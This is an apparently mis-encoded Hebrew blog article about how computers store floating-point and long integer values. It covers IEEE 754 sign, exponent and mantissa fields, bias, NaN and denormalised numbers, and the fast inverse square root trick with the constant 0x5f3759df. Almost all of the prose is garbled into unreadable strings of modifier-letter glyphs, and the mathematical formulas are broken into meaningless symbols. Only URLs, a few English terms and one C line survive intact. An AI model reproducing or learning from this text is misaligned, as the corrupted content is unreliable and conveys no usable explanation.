ˠ˧˴ˢ˪  ˶ˣ˸˟    ˶˷˞˩ ὥȟὦ ˫ˢ˧ˮ˷ ˫˧ˬ˪˷ Φ˸˧ˮ˷ ,˫˞ ˪˩ ˢˬ ˧˸˧˧ˢ˷ ˢ˴ˣ˶ ˞ˣˢ ˠ˴˧˧˪ ˫˧˧˪ˮˣ˧˴˶ ˧˸˧˧ˢ ˪ˣ˩˧ 

˦ˣ˷˲ ˷ˬ˸˷ˢ˪  ˠˣˤ˟long ,˞˪ ˧˶ˬˠ˪ ˶ˣ˶˟ ˨˧˶˴˷ ˯ˣ˲˧˦ ˫˧ˮˣ˸ˮ ˷ˡ˥ ˪˧˟˷˟ ˢˤ Φ˫˞ ˭˩ ,Ϧˠ˴˧˧˪ ˶˲˯ˬ 

˧˷ˬˬ Ϧˣ˞ Ϧˠ˴˧˧˪ ˶˟˷" ˢˮˮ˧˞ ˢ˟˧˯ˢ ˢ˪˪ˠ˟˷ ˣˮ˥ˮ˞ ˫˧ˮ˧˧ˮ˰˸ˬ ˟πfloatΦ ʕ˞ ˢˬ ˭˩ ˢ˟˧˯ˢ? 

ˢ˟˧˯ˢ ˞˧ˢ ˫˧ˬ˰˲˪˷ ˞˪ ˸˲˩˞ ˣˮ˪ ˫˞ ˶˲˯ˬˢ ˣˮ˪˷ ˞˪ ˠ˴ˣ˧ˬ ˢ˶ˣ˴˟ ˸˵˧˧ˣˡˬ Φ˫˧ˬ˰˲˪ ˶˷˲˞ ˱˲˥˪ 

˪ˠ˰˪ˣ ˸˴˵ ,˫˞ ˢˤ ˫˪˸˷ˬ ˣˮ˪ Φ˭ˣ˧˰˶ˢ ˟πfloat ˞ˣˢ ˶˸ˣˣ˪ ˸˴˵ ˪˰ ˵ˣ˧ˡˢ ˫˪˷ˣˬˢ ˷πlong ˰˧˴ˬ ˸˥˸ˣ ˸˞ˤ 

˟˧˥˶ˢ˪ ˢ˶ˣ˴˟ ˸˧˸ˣ˰ˬ˷ˬ ˸˞ ˥ˣˣ˦ ˫˧˶˲˯ˬˢ ˶˷˲˞˷ ˠ˴˧˧˪ ˸ˣ˰˴ˬ˞˟ он ˦˧˟ Φ˫˞ ˸ˣ˰˴ˬ˞˟ long ˶˷˲˞ 

ˠ˴˧˧˪ ˵˧ˣˡˬ˟ ˪˩ ˶˲˯ˬ ˫ˣ˥˸˟ ˭˧˟˷ л ˪-нон ύ˧ˬ ˢ˴ˣ˶˷ ˵˲˦ˮ˪ - ˣ˶˩ˤ˸ ,˧˸˶ˬ˞ ˞˪˷ ˯ˮ˩˞ ˫˧ˬ˪˷˪ 

˫˧˧˪˧˪˷ ˢ˲ ό˧˶ˢ ˸ˣ˰˴ˬ˞˟˷ float ˶˷˲˞ ˠ˴˧˧˪ ˫˧˶˲˯ˬ ˡ˰ ˨˶˰˟ нмнт, ˫˧˶˟˷ˣ ˡ˰  ˨˶˰˟ 2ҍнснˣ˪˧˲˞ˣ ˭˦˵ 

˶˸ˣ˧ ˨˩ˬ Φ˶˧˥ˬˢ ˞ˣˢ ˧˞˷ ˶˷˲˞ ˠ˴˧˧˪ ˸˞ ˪˩ ˫˧˶˲˯ˬˢ ˫˧˥ˣˣ˦˟ ˣ˪˪ˢ Τ˷˧ ˣˮ˪ ˸˪˟ˠˬ ˵ˣ˧ˡ Φ˪˰ ˧˲ x˶,˟ 

˫˧˷ˣˬ˧˷˟ ˪˷ float ˫˧ˮ˧˧ˮ˰ˬ˷ ˣˮ˸ˣ˞ ˢ˪˟ˠˬˢ ˣˤˢ ˞˪ ˢ˰˧˶˲ˬ ˣˮ˪. 

π˟float ˫ˠ ˭˩ ˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˫˧˶˲˯ˬ ˧˧˪˧˪˷,˫ ˫˰˲ˢˣ ˫ˠ ˯˥˧˧˸˞ ˭˲ˣ˞˪ ˣ˟˷ ˫˧ˠ˴˧˧ˬ ˫˸ˣ˞ ˧˩ ˞ˣˢ ˸˴˵ ˶˸ˣ˧ 

˦ˣ˷˲ ˶˷˞ˬ ˟πlong ˫˷˪ˣ ˧ˣˮ˧˷ ˫ˠ ˶ˡˠˣˬ ˟˦˧ˢ Φ˪˩˟ ,˪ˢˡˣ˵ˮ˪ ˢ˲˴ ˷˧ ˭ˣ˶˸˧ ˞˧ˢ˷ ˸˶ˡˠˣˬ ˸˧˯˥˧ 

˟ˣ˦ ˦˶ˡˮ˦˯˟ ˪˷ sπIEEE ˟ˣ˶ˣ ˧ˬ ˷ˬˬˬ˷ ˢˡˣ˵ˮ ˢ˲˴ ύˢˮ˩ˣ˸˟κˢ˶ˬˣ˥ ό˫˧˞˸˧ ˸˞ ˣˬ˴˰ ˦˶ˡˮ˦˯˪ Φˡˣ˵ˢ 

˪˷ 0x5f3759df ˯˯˟˸ˬ ˪˰ ˢˤ ,˭˟ˣˬ˩. 

http://www.gadial.net/2017/06/11/number_bases/
http://www.gadial.net/2017/06/11/number_bases/
https://en.wikipedia.org/wiki/IEEE_754
https://en.wikipedia.org/wiki/IEEE_754
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˶˲˯ˬ ˠˣ˴˧˧˟ float ˟˩˶ˣˬ ˬπон ˧˟ ,˦˫˧˵˪ˣ˥ˬ˷ ˷ˣ˪˷˪ ˸ˣ˴ˣ˟˵ Υ˦˧˟ˢ ˣ˷˞˶ˢ ,˭˧˪˞ˬ˷ˢ ˸ˣ˧˟,˶  ˞ˣˢ

˭ˬ˧˯ˢ ˪˷ ˶˲˯ˬˢ Φ˫˞ ˞ˣˢ л ,˶˲˯ˬˢ ˧˟ˣ˧˥ Τ˫˞ ˞ˣˢ м ,˶˲˯ˬˢ ˧˪˧˪˷ Φу ˫˧˦˧˟ˢ ˫˧˞˟ˢ  ˫˧˞˶˵ˮ

˦ˮˮˣ˲˯˵˞ˢ ˪˷ ˲˯ˬˢ,˶ xπно ˫˧˦˧˟ˢ ˫˧˶˸ˣˮˢ ˫˧˞˶˵ˮ ˢ˯˧˦ˮˬˢ ˣ˪˷. 

 

˧ˡ˩ ˭˧˟ˢ˪ ˸˞ ˸ˣ˰ˬ˷ˬˢ ˪˷ ˣ˪˞ Σˣ˞ˣ˟ ˢ˞˶ˮ ˰ˠ˶˪ ˪˰ ˫˧˩˶ˡ ˸ˣˮˣ˷ ˭ˢ˟˷ ˶˷˲˞ ˠ˴˧˧˪ ˸˞ ˶˲˯ˬˢ 314.15Φ 

˧ˮ˞ ˪ˣ˩˧ ˟ˣ˸˩˪ ˫˸˯314.15  ,˪˟˞ ˧ˮ˞ ˫ˠ ˪ˣ˩˧ ˪ˣ˲˩˪ ˸ˣ˵ˤ˥˟ ˪˷ мл Υ˷ˬ˪ ,˪˟ˣ˸˩˪ 31.415ẗ101 

ˣ˞3.1415ẗ102 , x˞ 3141.5ẗ10ҍм ˢˬˣˡ˩ˣ Φ˫˸ˮ˟ˢ ˸˞ ˭ˣ˧˰˶ˢ Υ˧ˮ˞ ˥˵ˣ˪ ˸˞ ˶˲˯ˬˢ ˧˯˧˯˟ˢ314.15  ,Ϧxˤ˧ˤˬ Ϧ

˸˞ ˢˡˣ˵ˮˢ ˸˧ˮˣ˶˷˰ˢ Ϧύ˱˧˴ˬ Ϧˢ˸ˣ˞ ό˶˧˥ˬˢ˷˩ ˞ˣˢ ˪˲˩ ˢ˵ˤ˥˟ ˢˬ˧˞˸ˬ ˪˷ мл Φ˧˸ˤˤˢ ˸˞ ˢˡˣ˵ˮˢ 

ˢ˪˞ˬ˷ Κ˧ˮ˞ ˪˲ˣ˩ ˢ˵ˤ˥˟ ˸˧˟ˣ˧˥ ˪˷ мл Φ˧˸ˤˤˢ ˢ˸ˣ˞ ˢˮ˧ˬ˧ Κ˧ˮ˞ ˪˲ˣ˩ ˢ˵ˤ˥˟ ˸˧˪˧˪˷ Φ˭˲ˣ˞˟ ˢˤˢ ˶˷˲˞ 

˦˧˪˥ˢ˪ ˪˩˷ ˶˲˯ˬ ˠ˴ˣ˧˧ ˢ˶ˣ˴˟ Ϧ˸˧˪ˬ˶ˣˮ Ϧˢ˟˷ ˷˧ ˵ˣ˧ˡ˟ ˢ˶˲˯ ˸˥˞ ˪˞ˬ˷ˬ ˢˡˣ˵ˮ˪ ˸˧ˮˣ˶˷˰ˢ Τˠˣ˴˧˧ˢ 

Ϧs˧˪ˬ˶ˣˮ Ϧ˪˷ 314.15 ˢ˧ˢ˧ Σ˫˞ ˭˩3.1415ẗ102  ,ˢ˦ˮˮˣ˲˯˵˞ ˪˷ ˶˲˯ˬˢ ˢˤˢ ˞ˣˢ ˢ˵ˤ˥ˢ ˪˷ мл ˠˣ˴˧˧˟ 

˧˪ˬ˶ˣˮˢ Σˢˣˢ˯˧˦ˮˬ ˣ˪˷ ˞˧ˢ ˶˲˯ˬˢ ˣ˟˷ ˫˧˪˧˲˩ˬ ˡ˴ˬ ˪˞ˬ˷. 

ˣ˞ˣ˟ ˢ˞˶ˮ ˡˣ˰ ˢˬˠˣˡ Φ˸˞ ˶˲˯ˬˢ 1,000 ˪˵ ˠ˴˧˧˪ ˫˰ ˢˡˣ˵ˮ ˢ˲˴ .1.0ẗ103 :ˢˬ ˪˰ ˶˲˯ˬ ˢˮˣ˷˷ ˣˮˬˬ 

˲˧˦πˢ˲˧˦ Σ˶ˬ˞ˮ мΣллн Κˣ˸ˣ˞ ˶˷˲˞ ˠ˴˧˧˪ ˪˰ ˧ˡ˧1.002ẗ103  Φˣˬ˧˷ ˟˪ ˢˬ ˢ˶˵ - ˣˮ˵˵ˤˮ ˶˸ˣ˧˪ ˸ˣ˶˲˯ 

ˢ˯˧˦ˮˬ˟ ˧ˡ˩ ˠ˴˧˧˪ ˸˞ ˶˲˯ˬˢ ˢˤˢ ˶˷˞ˬ ˸˞ 1,000 ˠ˴ˣ˧ˬ˷ ˢ˶ˣ˴˟ ˢ˶˧˷˧ ˸ˣ˰˴ˬ˞˟ ˦ˮˮˣ˲˯˵˞ˢ Φ˭˲ˣ˞˟ 

ˢˬˣˡ ,˫˞ ˧ˮ˞ ˢ˴˶˞ ˠ˴˧˧˪ ˸˞ ˭ˣ˧˪˧ˬ ˢˤ ˢ˧ˢ˧ ˵ ,˪˪˟˞ ˫˞ ˢ˴˶˞ ˠ˴˧˧˪ ˸˞ Ϧ˭ˣ˧˪˧ˬ ˡˣ˰ˣ н Ϧ˨˶˦˴˞ ˡˣ˰ ˢ˟˶ˢ 

˸ˣ˶˲˯ ˢ˯˧˦ˮˬ˟ Φ˫ˠˣ ˸˞ 10100 ˪˵ ˴˧˧˪ ,ˠ˪˟˞ ˠ˴˧˧˪ ˸˞ 10100+2 ˶˟˩ ˢ˧ˢ˧ ˶˸ˣ˧ ˧ˡˬ ˧˶ˣ˟˰ - ˭˧˞ ˧˪ ˵˧˲˯ˬ 

˫ˣ˵ˬ ˢ˯˧˦ˮˬ˟ ˪˧˟˷˟ ˢˤ ˧˩ ˨˶˦˴˞ ˟ˣ˸˩˪ мΦлллΧн ˶˷˞˩ ˷˧ ˨˶˰˟ ˢ˞ˬ ˫˧˯˲˞ Φˢˮˢ ˧˩ ˭˩ Σˣˤ ˵ˣ˧ˡ˟ 

˸˪˟ˠˬ sϦ˶˯ˣ˥ ˵ˣ˧ˡ Ϧ˧˸˶˟˧ˡ˷ ˢ˧˪˰ Φ˸˞ 10100+2 ˧ˮ˞ ˞˪ ˪ˣ˩˧ ˠ˴˧˧˪ Σ˪˟˞ ˧ˮ˞ ˪ˣ˩˧ ˵˲˸˯ˢ˪ ˟π10100 ˣ˸ˣ˞˷ 

˧ˮ˞ ˭˩ ˪ˣ˩˧ ˠ˴˧˧˪ ˞ˣˢˣ ˟ˣ˶˧˵ ˭˧˧ˣ˴ˬ ˪π10100+2. ˪˩ ˡˣ˰ ˧ˮ˞ ˞˪ ˟˧˧˥ ˠˣ˴˧˧ ˵˧ˣˡˬ ˪˷ ˪˩ ˫˧˶˲˯ˬˢ ˣ˪˪ˢ. 

˶ˡ˯˟ ˡ˰ ˭˞˩ Κˤ˞ ˣ˞ˣ˟ ˨˟˯ˮ ˸˴˵ Φ˧˸ˠ˴ˢ ˸˞ ˧˶˲˯ˬ ˢˡˣ˵ˮˢ ˢ˲˴ˢ ˧˪˷ ˣ˪˧˞˩ ˫ˢ ˫˧˟ˣ˸˩ ˯˧˯˟˟  ,˧ˮˣ˶˷˰

˪˟˞ ˪˰ˣ˲˟ float ˠ˴ˣ˧ˬ ˪˰ ˧ˡ˧ ˠˣ˴˧˧ ˧˶˞ˮ˧˟ ύ˷˧ ˫ˠ ˢˡˣ˵ˮ ˢ˲˴ ˪˷ ˫˧˶˲˯ˬ ˫˧˧ˮˣ˶˷˰ ˪˟˞ ˢˤ ˞˪ ˧˦ˮˣˣ˪˶ 

˭˞˩˪ Φόˢˤ ˶ˬˣ˞ ˦ˮˮˣ˲˯˵˞ˢ˷ ˢ˯˧˦ˮˬˢˣ ˫ˢ˧ˮ˷ ˫˧˟˸˩ˮ ˯˧˯˟˟ ˧˶˞ˮ˧˟ ˣˮ˥ˮ˞ˣ ˫˧˪˲ˣ˩ ˸˞ ˢ˯˧˦ˮˬˢ 

ˢ˵ˤ˥˟ ˪˷ н ˞˪ˣ мл, ˪˟˞ ˢˤ ˫ˠ ˶ˬˣ˞ ˡˣ˰ ˣˢ˷ˬ - ˭˧˞ ˨˶ˣ˴ ˶ˣ˩ˤ˪ ˸˞ ˢ˶˲˯ˢ ˸ˡˡˣ˟ˢ ˪˞ˬ˷ˬ˷ ˢˡˣ˵ˮ˪ 

˸˧ˮˣ˶˷˰ˢ ˷˶ˣ˲ˬ˟ Τˣˮ˥ˮ˞ ˫˧˰ˡˣ˧ ˞˧ˢ˷ ˞˪ л, ˧˩ ˢ˩˩ ˸˶ˡˠˣˬ ˢ˶ˣ˴ˢ ˸˧˪ˬ˶ˣˮˢ ˪˷ ˶˲˯ˬ - ˷˧ ˪˞ˬ˷ˬ 

ˢˡˣ˵ˮ˪ ˵ˣ˧ˡ˟ ˢ˶˲˯ ˸˥˞ ˢˮ˧˞˷ л Φ˭˩˪ Σ˶ˣ˟˰ ˶˲˯ˬ ˢˡˣ˵ˮ ˢ˲˴ ˯˧˯˟˟ ˶˞ˮ˧˟,˧ ˢ˯˧˦ˮˬˢ ˸˶˞˸ˬ ˵˶ ˸˞ 

ˢˬ ˢ˶ˣ˵˷ ˭˧ˬ˧ˬ ˢˡˣ˵ˮ˪ ˸˧ˮˣ˶˷˰ˢ - ˵˪˥ˢ ˧˶˟˷ˢ ˪˷ ˶˲˯ˬˢ. 

http://www.gadial.net/wp-content/uploads/2017/08/618px-IEEE_754_Single_Floating_Point_Format.svg_.png
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˨ˣ˟˧˯ ˱˯ˣˮ ˫˶˦˷ ˧˸˶˟˧ˡ ˣ˧˪˰ ˞ˣˢ ˭˲ˣ˞ˢ ˣ˟˷ ˫˧˶˷˲˞ˬ ˫˧˶˲˯ˬ˪ ˫˧˧˪˧˪˷ ˰˧˲ˣˢ˪ ˨ˣ˸˟ ˦ˮˮˣ˲˯˵˞ˢ Φˢˬ 

˫˧˷ˣ˰˷ ˞ˣˢ ˷ˬ˸˷ˢ˪ ˣˢ˷ˬ˟ ˞˶˵ˮ˷ biasΦ˷˧ у ˫˧˦˧˟ ˪˷ ˦ˮˮˣ˲˯˵˞, ˢˬ ˶ˬˣ˞˷ ˶˷˲˞˷ ˠ˴˧˧˪ ˫˸˧˞ ˪˩ 

˶˲˯ˬ ˬπл ˡ˰ нрр Φ˭ˣˣ˧˩ˬ ˫˧˴ˣ˶˷ ˧˴˥ ˫˧˧˟ˣ˧˥ ˧˴˥ˣ ˫˧˧˪˧˪˷ ,˫˧˶˧ˡˠˬ bias  ˪˷B=127 ˫˧˶˧ˡˠˬˣ ˞ˣˢ˷ 

ˡ˧ˬ˸ ˶˯ˣ˥ˬ ˦ˮˮˣ˲˯˵˞ˢˬ Φˬˣ˪˩,˶ ˫˞ Ὁ ˠ˴˧˧ˬ ˸˞ 200 ˤ˞ ˦ˮˮˣ˲˯˵˞ˢ ˪˷ ˶˲˯ˬˢ ˢ˧ˢ˧ 2E-B=273 ˢ˶ˣ˴˟ 

ˣˤˢ ˦ˮˮˣ˲˯˵˞ˢ ˢˣ˟ˠˢ ˶˸ˣ˧˟ ˞ˣˢ ˢ˶ˣ˞˩˪ 2128 ˨ˣˬˮˢˣ ˶˸ˣ˧˟  ˞ˣˢ 2ҍмнт˪˟˞ ˪˰ˣ˲˟ ˦˶ˡˮ˦˯ˢ ˞˪ ˢ˷˶ˬ 

ˣˮ˪ ˷ˬ˸˷ˢ˪ ˫˧˦ˮˮˣ˲˯˵˞˟ мммммммм xπллллллл ˭˲ˣ˞˟ ˧˷˲ˣ˥ Υ˸˞ мммммммм ˫˧˶ˬˣ˷ ˧ˡ˩ ˠ˴˧˧˪ ˸˞ 

˱ˣ˯ˮ˧˞ ˸˞ˣ NaN (˨˶˰ ˶ˬˣ˞˷ Ϧ˞˪ ˧˸˪˟˧˵ ˶˲˯ˬ όϦˣ˪˧˞ˣ лллллллл ˶ˣˬ˷ ˧ˡ˩ ˶˷˲˞˪ ˠˣ˴˧˧ ˪˷ л ˪˷ˣ 

˫˧˶˲˯ˬ ˫˧˩ˣˬˮ ˡ˥ˣ˧ˬ˟ ύˣˢ˷ˬ ˞˶˵ˮ˷ denormalized numbers ˧ˮ˞˷ ˦ˣ˷˲ ˞˪ ˨˪ˣˢ ˶˟ˡ˪ ˫ˢ˧˪˰ ˭˞˩ ˧˩ 

˞˪ ˨˧˶˴ ˸˞ ˢˤ Φό˭˩˪ ˥ˣˣ˦ ˫˧˦ˮˮˣ˲˯˵˞ˢ ˧˵ˣ˥ˢ ˞ˣˢ ˬπ2127 ˡ˰ˣ 2ҍмнсΦ 

ˣ˞ˣ˟ ˶ˣˤ˥ˮ ˪˰ ˢˬ ˷˧˷ ˣˮ˪ ˶˲˯ˬ˟ floatΥ˷˧ он ˫˧˦˧˟ ˨˯˟ ˪˩ˢ Φ˦˧˟ ˡ˥˞ ,˞˶˵ˮ˷ x˪ s, ˞ˣˢ ˦˧˟ ˭ˬ˧˯ˢ Φу 

˫˧˦˧˟ˢ ˧˞˟ˢ ,˫˞˶˵ˮ˷  ˫ˢ˪Ὁ ,˫ˢ ˫˧˦˧˟ˢ ˪˷ ˦ˮˮˣ˲˯˵˞ˢ Υ˶˷˲˞ ˟ˣ˸˩˪ Ὁ ὉὉὉὉὉὉὉὉ  

˶˷˞˩  ˪˩ Ὁ˱ˠ˞˟ ˭˧ˬ˧ ˞ˣˢ ˦˧˟ ˡˡˣ˟ Φˣ˧˯˪ ,˫ˢ˯˧˦ˮˬˢ ˭ˬˣ˯˸ ˟-M ,˫˩˸ˣ˷˶˟) ˞˪ ˟ˣ˸˩˞ ˸˞ ˪˩ ˫˧˦˧˟ˢ 

ˢ˪˷ Φό,ˣ˧˷˩˰ ˭˸ˮ˧ˢ˟ s,E,M ˶˷˲˞ ˟˷˥˪ ˸˞ ˨˶˰ˢ ˷˶ˣ˲ˬˢ ˪˷ ˶˲˯ˬˢ ˫ˢ˷ ˫˧ˠ˴˧˧ˬ ˢ˩˩: 

ρ ϽρȢὓ Ͻ ς  

˫˧ˬ˰˲˪ ˫ˣ˵ˬ˟ 1.M ˶˸ˣ˧ ˥ˣˮ ˞˧˶˵ˣ ˟ˣ˸˩˪ ρ  ˣ˞ ˣ˪˧˲˞ ˭ˬ˯˪ ά  ˤ˞ˣ ˟ˣ˸˩˪: 

ρ Ͻρ ά Ͻ ς   

ˣˮˬ˧˧˯ ˫˰ ˢˤ Ηˣ˧˷˩˰ ˣˮ˥ˮ˞ ˫˧ˮ˧˟ˬ ˧˶˲˯ˬ ˢˡˣ˵ˮ ˢ˲˴ ˢˬ˶˟ ˵˧˲˯˸˷ ˨˷ˬˢ˪ ˶ˬ˞ˬˢ Φ˶ˣ˟˰ˮ ˱ˣ˯ ˱ˣ˯ 

˸˪˞˷˪ ˸ˣ˪˞˷ˢ Υˢˬ ˢ˶ˣ˵ ˧ˮ˞˷˩ ˥˵ˣ˪ float ˟˷ˣ˥ˣ ˪˰ ˫˧˦˧˟ˢ ˣ˪˷  ˫˧˶˧ˡˠˬ˩long? 

 

˵˶˲ ˧˷˧˷ ύˣ˟ˣ ˫˧ˬ˪˷ ˫˧˶˟˷ˣ ˫˧ˬ˸˧˶ˠˣ˪ˣ ˫˧˲˧ ˣ˪˞ ˫˧˶˟ˡ ˧˸ˣ˞˷ (˫˧˥ˬ˷ˬ 

ˣ˞ˣ˟ ˪˩˸˯ˮ ˪˰ ˸˶ˣ˷ sϦˢ˶ˬˢ Ϧˢ˰ˣˡ˧ˢ ˢ˴ˬ˷˪ ˡˣ˵ˢˬ: 

i = *  (  long  *  )  &y ;  // evil floating point bit level hacking  

˧˲˩ ˧˸˶ˬ˞˷ ˫ˡˣ˵ ,ˢˬ ˢ˶ˣ˵˷ ˢ˶ˣ˷˟ ˣˤˢ ˣˮˮ˧˞ ˢ˶ˬˢ - ˣˮ˥ˮ˞ ˞˪ ˫˧˶ˬˣ˞ ˸˧ˮ˩ˣ˸˪ ˸˥˵˪ ˸˞ sπfloat 

ˣˮ˪˷ ˪ˠ˰˪ˣ ˣ˸ˣ˞ ˡ˰ ˪˟˵˸˧˷ ˶˲˯ˬ ˫˪˷ x˞ ˣˢ˷ˬ Φˣˮ˥ˮ˞ ˫˧˷ˣ˰ ˣˢ˷ˬ ˧˪˦ˣ˶˟ ˭˩ˣ˯ˬˣ ˭˲ˣ˞˟ ˧˪˪˩ Υ˫˧˥˵ˣ˪ 

˸˞ он ˫˧˦˧˟ˢ ˭ˣ˶˩˧ˤ˟ ˫˧ˠ˴ˣ˧ˬ˷ ˪˰ ˧ˡ˧ y ˫˧˶ˬˣ˞ˣ ˸˧ˮ˩ˣ˸˪ ˟ˣ˷˥˪ ˫ˢ˧˪˰ ˥ˣ˩˟  ˶ˣ˸˟ .long˧ˬ˪ ˭˶˵˯˷, 

ˢˤ ˭˲ˣ˞ˢ ˧ˮ˩˦ˢ ˣ˟˷ ˢˤ ˢ˷˰ˮ Υ˸˧˷˞˶ ˣˮ˥ˮ˞ ˫˧˷˵˟ˬ Ϧ˞ˮ ˸˸˪ ˣˮ˪ ˸˞ ˸˟ˣ˸˩ˢ ˭ˣ˶˩ˤ˟ ˢ˟˷ ˰ˡ˧ˬˢ ˪˷ y 

˭˩ˣ˷ ΦϦˢˤ ˢˬ ˢ˷ˣ˰˷ ˶ˣ˦˶˲ˣ˞ˢ & ˞ˣˢ˷˩ ˡˬ˴ˣˬ ˪πy. ˶˥˞ ˨˩ ˣˮ˥ˮ˞ ˫˧˥˵ˣ˪ ˸˞ ˸˟ˣ˸˩ˢ ˤˢ ,ˣ˰ˠ˶˩˷ 

˸˧ˮ˩ˣ˸ˢ ˸˟˷ˣ˥ ˢ˧˪˰ ˶ˣ˸˟ Ϧ˸˟ˣ˸˩  ˪˷float ,"ˣˮ˥ˮ˞ˣ ˫˧˰˴˟ˬ ˢ˧˪˰ ˢ˪ˣ˰˲ ˸˲˷˟˷ c ˢ˸˞˶˵ˮ casting 

˸˰˴˟˸ˬˣ ˪˰ ˧ˡ˧ s long *-˫˧˧˶ˠˣ˯˟˷ ύ˫˧˧˶ˠˣ˯ˢ ˫ˬ˴˰ ˫˧˶ˬˣ˞ ˸˧ˮ˩ˣ˸˪ ˷˧˷ ˭˞˩ ˸˪ˣ˰˲casting ό .

ˢ˪ˣ˰˲ˢ ˣˤˢ ˸˶ˬˣ˞ ˸˧ˮ˩ˣ˸˪ - Ϧ˭ˣ˩ˮ ˷˧˷ ˨˪ ˸˟ˣ˸˩ ˸˞˷ ˸˟˷ˣ˥ ˢ˧˪˰ ˶ˣ˸˟ ˸˟ˣ˸˩ ˪˷ floatΚ ˣ˧˷˩˰ˬ 
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˧˟˷˥˸ ˢ˧˪˰ ˶ˣ˸˟ ˸˟ˣ˸˩  ˪˷longΦ ˸˧˟˩ˣ˩ˢ ˢˮˣ˶˥˞ˢ ˸˪˧˥˸˟ ˢ˶ˣ˷ˢ ˞˧ˢ ˨˶ˡ ˶ˬˣ˪ Ϧ˧˵ˣ˞ ,˧ˣ˧˷˩˰ ˞ˮ 

˸˸˪ ˧˪ ˸˞ ˨˶˰ˢ ˧˶˲˯ˬˢ ˟ˣ˸˩˷ ˨ˣ˸˟ ˸˟ˣ˸˩ ˭ˣ˶˩˧ˤˢ ˨˪˷ ΦϦ˸˧ˮ˩ˣ˸ˢ ˢ˷ˣ˰ ˸˞ ˶˟ˡˢ ˞˟ˢ Υ˟˪˷˟ ˤˢ,ˢ 

˷˧ ˢ˪ ˸˟ˣ˸˩ ˭ˣ˶˩ˤ ˢˡ˧˪ˣ ˭ˣˬ˧˯ Ϧ˸˟ˣ˸˩ˢ ˣˤˢ  ˢ˪˧˩ˬ .long Ϧˤ˞ ˸˧ˮ˩ˣ˸ˢ ˸˥˵ˣ˪ ˸˞ он ˫˧˦˧˟ˢ 

,˸˟ˣ˸˩ˢˬ ˸˯˥˧˧˸ˬ ˫ˢ˧˪˞ ˶ˣ˸˟ ˶˲˯ˬ long ˢ˟˧˴ˬˣ ˨ˣ˸˟ iΦ ˪˩ ˢˤ ˶ˣ˶˟ ˧ˬ˪ ˶˧˩ˬ˷ ˸˞ ˲˷ˢ ,ˢ˧ˮ˞ˣ 

˷˥ˮˬ ˧ˬ˷ ˞˪˷ ˶˧˩ˬ ˢ˸ˣ˞ ˶˟˩ ˨˪ˢ ˡˣ˟˧˞˪ Φ˞˪ ˶ˣˮ ,˞˞˪ ˨˧˶˴ ˭˧˟ˢ˪ ˢˬ ˢ˶ˣ˷ˢ ˢ˷ˣ˰ ˢˬ˶˟ ˸˧ˮ˩˦ˢ 

ˤˢ ,ˣ˵˶ ˢˬ ˦˵˲˞ˢ ˢˤ˷ ˠ˧˷ˬ. 

ˢˬˣ ˢˤ ˢ˷ˣ˰ ˰ˣ˲˟ ,˪˶˲˯ˬ˪ Κ˷˧ˬπˬ ,˷ˢˤ ˢˬ ˢˤ˷ ˢ˷ˣ˰ Φ˫˧˦˧˟ ˧ˮ˲˪˷ ˰ˠ˶ ˢ˸˧˧ˢ ˫ˢ˪ ˸ˣ˰ˬ˷ˬ ˸˥˞ 

˫˧˪˟˵ˬ ˸ˣ˰ˬ˷ˬ ˞˪ ˧˶ˬˠ˪ ˶ˣ˷˵ ,ˢ˪˟˞ ˫ˠ ˞˪ ˧˶ˬˠ˪ ˢˮˣ˷ Φˣˮ˥ˮ˞ ˭˧˧ˡ˰ ˫˧˪ˣ˩˧ ˟ˣ˷˥˪ ˪˰ ˫˧˦˧˟ˢ ˶ˣ˸˟ 

˷ˣ˪˷ ˸ˣ˴ˣ˟˵ - s,E,M - ˵˶ ˣ˧˷˩˰˷ ˪˩ ˢ˴ˣ˟˵ ˸ˬ˶ˣ˸ ˣˢ˷ˬ ˶˲˯ˬ˪ ˫˪˷ˢ ˠ˴ˣ˧ˬ˷ ˪˰ ˧ˡ˧ sπlong. 

˨˷ˬˢ ˥ˣ˸˧ˮˢ ˠ˧˴˞˷ ˯˯˟˸ˬ ˶˵˧˰˟ ˪˰ ˶ˬ˞ˬˢ ˢˤˢ ˵˲˯ˬ˷ ˥ˣ˸˧ˮ ˢ˲˧ ˡˣ˞ˬ ˪˷ ˶ˣ˲˧˯ˢ ˢˤˢ Φ˷˧ ˡˣ˰ 

˫˧˥ˣ˸˧ˮ ˫˧ˮˣ˷ ˫˧ˮˣ˷ˬˣ ˶˷˲˞˷ ˸ˣ˷˰˪ ˢ˷˵ˣ ˧˪ ˶ˬˣ˪ ˧ˬ ˫ˢˬ ˞ˣˢ sϦ˭ˣ˩ˮϦ ,˪˟˞ ˢˤ ˠ˧˴˞˷ ˰ˠ˶˩ ˞ˣˢ ˞˪˪ 

˵˲˯ ˦ˣ˷˲ˢ ˶˸ˣ˧˟ ύˡˬ˥ˮˢˣ ˸ˣ˧˟ ,˶˧ˬ˰˦˪ ό˫ˢ˧ˮ˧˟ˬ. 

ˣˡˠ˟ ,˪ˡˣ˞ˬ ˪ˣˡˠ˟ ,ˢˬ ˢ˶ˣ˵˷ ˫˧˶˧˟˰ˬ˷˩ ˢ˩˩ ˶˲˯ˬ ˬ-float ˪˞ long ˞ˣˢ ˫˧˶˧ˬˬ˷ ˣ˸ˣ˞ ˪ ˫˸˧˶ˠˣ˪˪˷ 

ˣˬ˴˰ ˪ˣ˲˩ ˢˤ˧˞ ˞ˣˢ˷ ˰ˣ˟˵ Φˣ˞ˣ˟ ˶˩ˤˮ ˢˬ ˢˤ ˫˸˧˶ˠˣ˪ ˪˪˩˟ Φ˫˞ ὼ ς  ˤ˞ ÌÏÇὼ ώ ˶ˬˣ˪˩ Σ˫˸˧˶ˠˣ˪ˢ 

˪˷ x ˞ˣˢ ˶˲˯ˬˢ ˫˞˷ ˫˧˪˰ˬ ˸˞ н ˢ˵ˤ˥˟ ˪˷ ,ˣ˫˧˪˟˵ˬ ˸˞  x )˧ˮ˞ ˠ˧˴ˬ ˢ˲ ˸˞ ˢˬ ˞˶˵ˮ˷ Ϧ˫˸˧˶ˠˣ˪ 

˪˰ ˯˧˯˟ н Ϧ˧˩ ˢˤ ˢˬ ˧˦ˮˣˣ˪˶˷ ˣˮ˪ ˶ˬ˞ˬ˟ ˢˤˢ Φό ˪˷ˬ˪ÌÏÇψ σ ,˧˩ ς ψ ˸ˬˣ˰˪ ˸˞ˤ ÌÏÇχ ˞˪ ˨˪ˣˢ 

